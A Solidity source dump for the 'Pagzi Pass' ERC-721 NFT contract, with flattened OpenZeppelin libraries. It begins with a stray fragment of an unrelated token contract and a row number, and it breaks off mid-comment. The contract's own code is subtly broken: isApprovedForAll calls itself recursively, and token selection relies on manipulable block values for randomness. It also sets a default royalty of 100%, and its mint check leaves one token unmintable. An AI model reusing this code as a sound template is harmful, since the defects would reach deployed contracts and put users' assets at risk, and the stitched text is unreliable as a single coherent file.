TokenController(controller).onTransfer(msg.sender, _recipient, _amount),
"Token controller rejects transfer."
);
}
balances[_recipient] = balances[_recipient].add(_amount);
emit Transfer(msg.sender, _recipient, _amount);
return true;
}
| 12,697,442 |
// SPDX-License-Identifier: MIT
// Author: Pagzi Tech Inc | 2022
// Pagzi Pass - Exclusive | 2022
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract PagziPass is Context, ERC165, IERC721, IERC721Metadata, Ownable {
using Address for address;
using Strings for uint256;
// Token name and symbol
string private _name = "Pagzi Pass";
string private _symbol = "PAGZI";
mapping(uint => uint) private _availableTokens;
uint256 private _numAvailableTokens = 5;
uint256 private _maxSupply = 5;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
//allowlist settings
bytes32 public merkleRoot = 0x5a1d22879f743d4382e9541e9c62485565a9054c85d711297fd8450245248c89;
mapping(address => bool) public claimed;
//sale settings
uint256 public cost = 0.001 ether;
//backend settings
string public baseURI;
address internal founder = 0xF4617b57ad853f4Bc2Ce3f06C0D74958c240633c;
//proxy access and freezing
mapping(address => bool) public projectProxy;
bool public frozen;
//date variables
uint256 public publicDate = 1651336697;
//mint passes/claims
address public proxyAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1;
//royalty settings
uint256 public royaltyFee = 10000;
modifier checkDate() {
require((publicDate < block.timestamp),"Allowlist sale is not yet!");
_;
}
modifier checkPrice() {
require(msg.value == cost , "Check sent funds!");
_;
}
/**
* @dev Initializes the contract by minting the #0 to Doug and setting the baseURI ;)
*/
constructor() {
_mintAtIndex(founder,0);
baseURI = "https://pagzipass.nftapi.art/meta/";
}
// external
function mint(bytes32[] calldata _merkleProof) external payable checkPrice checkDate {
// Verify allowlist requirements
require(claimed[msg.sender] != true, "Address has no allowance!");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "Invalid merkle proof!");
require(_numAvailableTokens > 1, "No tokens left!");
_mintRandom(msg.sender);
claimed[msg.sender] = true;
}
/**
* @dev See {ERC-2981-royaltyInfo}.
*/
function royaltyInfo(uint256, uint256 value) external view
returns (address receiver, uint256 royaltyAmount){
require(royaltyFee > 0, "ERC-2981: Royalty not set!");
return (founder, (value * royaltyFee) / 10000);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == 0x2a55205a /* ERC-2981 royaltyInfo() */ ||
super.supportsInterface(interfaceId);
}
function totalSupply() public view virtual returns (uint256) {
return _maxSupply - _numAvailableTokens;
}
function maxSupply() public view virtual returns (uint256) {
return _maxSupply;
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = PagziPass.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = PagziPass.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _mintIdWithoutBalanceUpdate(address to, uint256 tokenId) private {
_beforeTokenTransfer(address(0), to, tokenId);
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
function _mintRandom(address to) internal virtual {
uint updatedNumAvailableTokens = _numAvailableTokens;
uint256 tokenId = getRandomAvailableTokenId(to, updatedNumAvailableTokens);
_mintIdWithoutBalanceUpdate(to, tokenId);
--updatedNumAvailableTokens;
_numAvailableTokens = updatedNumAvailableTokens;
_balances[to] += 1;
}
function getRandomAvailableTokenId(address to, uint updatedNumAvailableTokens) internal returns (uint256) {
uint256 randomNum = uint256(
keccak256(
abi.encode(
to,
tx.gasprice,
block.number,
block.timestamp,
block.difficulty,
blockhash(block.number - 1),
address(this),
updatedNumAvailableTokens
)
)
);
uint256 randomIndex = randomNum % updatedNumAvailableTokens;
return getAvailableTokenAtIndex(randomIndex, updatedNumAvailableTokens);
}
function getAvailableTokenAtIndex(uint256 indexToUse, uint updatedNumAvailableTokens) internal returns (uint256) {
uint256 valAtIndex = _availableTokens[indexToUse];
uint256 result;
if (valAtIndex == 0) {
// This means the index itself is still an available token
result = indexToUse;
} else {
// This means the index itself is not an available token, but the val at that index is.
result = valAtIndex;
}
uint256 lastIndex = updatedNumAvailableTokens - 1;
if (indexToUse != lastIndex) {
uint256 lastValInArray = _availableTokens[lastIndex];
if (lastValInArray == 0) {
_availableTokens[indexToUse] = lastIndex;
} else {
_availableTokens[indexToUse] = lastValInArray;
delete _availableTokens[lastIndex];
}
}
return result;
}
function _mintAtIndex(address to, uint index) internal virtual {
uint tokenId = getAvailableTokenAtIndex(index, _numAvailableTokens);
--_numAvailableTokens;
_mintIdWithoutBalanceUpdate(to, tokenId);
_balances[to] += 1;
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(PagziPass.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(PagziPass.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
//only owner
function gift(uint256[] calldata quantity, address[] calldata recipient) external onlyOwner{
require(quantity.length == recipient.length, "Invalid data" );
uint256 totalQuantity;
for(uint256 i = 0; i < quantity.length; ++i){
totalQuantity += quantity[i];
}
require(_numAvailableTokens >= totalQuantity, "ERC721: minting more tokens than available");
for(uint256 i = 0; i < recipient.length; ++i){
for(uint256 j = 1; j <= quantity[i]; ++j){
_mintRandom(recipient[i]);
}
}
delete totalQuantity;
}
function setSupply(uint256 _supply) external onlyOwner {
_maxSupply = _supply;
}
function setAvailibility(uint256 _supply) external onlyOwner {
_numAvailableTokens = _supply;
}
function setCost(uint256 _cost) external onlyOwner {
cost = _cost;
}
function setPublicDate(uint256 _publicDate) external onlyOwner {
publicDate = _publicDate;
}
function setBaseURI(string memory _baseURI) public onlyOwner {
baseURI = _baseURI;
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
merkleRoot = _merkleRoot;
}
function switchProxy(address _proxyAddress) public onlyOwner {
projectProxy[_proxyAddress] = !projectProxy[_proxyAddress];
}
function setProxy(address _proxyAddress) external onlyOwner {
proxyAddress = _proxyAddress;
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
require(_exists(_tokenId), "Token does not exist.");
return string(abi.encodePacked(baseURI, Strings.toString(_tokenId)));
}
function tokensOfOwner(address _owner) public view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) return new uint256[](0);
uint256[] memory allTokens = new uint256[](tokenCount);
uint256 j = 0;
for(uint256 i; i < _maxSupply; i++ ){
address owner = _owners[i];
if(_owner == owner){
allTokens[j] = (i);
j++;
if(j == tokenCount) return allTokens;
}
}
return allTokens;
}
function batchTransferFrom(address _from, address _to, uint256[] memory _tokenIds) public {
for (uint256 i = 0; i < _tokenIds.length; i++) {
transferFrom(_from, _to, _tokenIds[i]);
}
}
function batchSafeTransferFrom(address _from, address _to, uint256[] memory _tokenIds, bytes memory data_) public {
for (uint256 i = 0; i < _tokenIds.length; i++) {
safeTransferFrom(_from, _to, _tokenIds[i], data_);
}
}
function isOwnerOf(address account, uint256[] calldata _tokenIds) external view returns (bool){
for(uint256 i; i < _tokenIds.length; ++i ){
if(_owners[_tokenIds[i]] != account)
return false;
}
return true;
}
function isApprovedForAll(address _owner, address operator) public view override(IERC721) returns (bool) {
//Free listing on OpenSea by granting access to their proxy wallet. This can be removed in case of a breach on OS.
OpenSeaProxyRegistry proxyRegistry = OpenSeaProxyRegistry(proxyAddress);
if (address(proxyRegistry.proxies(_owner)) == operator || projectProxy[operator]) return true;
return isApprovedForAll(_owner, operator);
}
//ERC-2981 Royalty Implementation
function setRoyalty(address _royaltyAddr, uint256 _royaltyFee) public onlyOwner {
require(_royaltyFee < 10001, "ERC-2981: Royalty too high!");
founder = _royaltyAddr;
royaltyFee = _royaltyFee;
}
function freeze() external onlyOwner {
frozen = !frozen;
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(founder).transfer(balance);
}
}
contract OwnableDelegateProxy { }
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
return computedHash;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
